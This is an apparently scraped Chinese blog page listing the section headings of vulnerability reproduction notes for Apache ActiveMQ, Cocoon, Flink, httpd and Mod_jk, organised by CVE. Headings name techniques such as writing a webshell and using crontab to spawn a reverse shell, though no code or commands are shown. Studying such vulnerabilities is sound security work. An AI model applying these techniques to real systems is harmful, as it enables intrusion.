https://www.zezhao.wang/2024/08/14/notes/bugs/web%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8E%E4%B8%AD%E9%97%B4%E4%BB%B6/

本博客所有文章除特別声明外，均采用 CC BY 4.0 许可协议。转载请注明来源吗喽の小屋 !

漏洞整理

OA漏洞

2024-08-14 漏洞整理

漏洞整理

Web框架漏洞

2024-08-14 漏洞整理

漏洞整理

Web服务器与中间件漏洞

web服务器与中间件

Apache-activemq

CVE-2015-5254

ActiveMQ 反序列化漏洞（CVE-2015-5254）

漏洞影响

漏洞环境

漏洞复现

CVE-2016-3088

ActiveMQ任意文件写入漏洞（CVE-2016-3088）

环境搭建

背景简述

漏洞详情

写入webshell

写入crontab，自动化弹shell

写入jetty.xml或jar

CVE-2022-41678

Apache ActiveMQ Jolokia 后台远程代码执行漏洞（CVE-2022-41678）

漏洞环境

漏洞复现

方法1

方法2

CVE-2023-46604

Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞（CVE-2023-46604）

环境搭建

漏洞复现

Apache-Cocoon

CVE-2020-11991

Apache Cocoon XML注入

漏洞描述

影响版本

网络测绘

漏洞复现

Apache-Flink

CVE-2020-17519

Apache Flink jobmanager 目录遍历漏洞

漏洞描述

漏洞影响

网络测绘

环境搭建

漏洞复现

Apache Flink upload 远程命令执行漏洞 CVE-2020-17518

漏洞描述

漏洞影响

网络测绘

环境搭建

漏洞复现

Apache-httpd

apache_parsing-vulnerability

Apache HTTPD 多后缀解析漏洞

漏洞环境

漏洞复现

CVE-2017-15715

Apache HTTPD 换行解析漏洞（CVE-2017-15715）

漏洞影响

网络测绘

漏洞环境

漏洞复现

CVE-2021-40438

Apache HTTP Server 2.4.48 mod_proxy SSRF漏洞（CVE-2021-40438）

漏洞环境

漏洞复现

CVE-2021-41773

Apache HTTP Server 2.4.49 路径穿越漏洞（CVE-2021-41773）

漏洞影响

网络测绘

漏洞环境

漏洞利用

CVE-2021-42013

Apache HTTP Server 2.4.50 路径穿越漏洞（CVE-2021-42013）

漏洞影响

网络测绘

漏洞环境

漏洞利用

ssi-rce

Apache SSI 远程命令执行漏洞

漏洞环境

漏洞复现

Apache-Mod_jk

CVE-2018-11759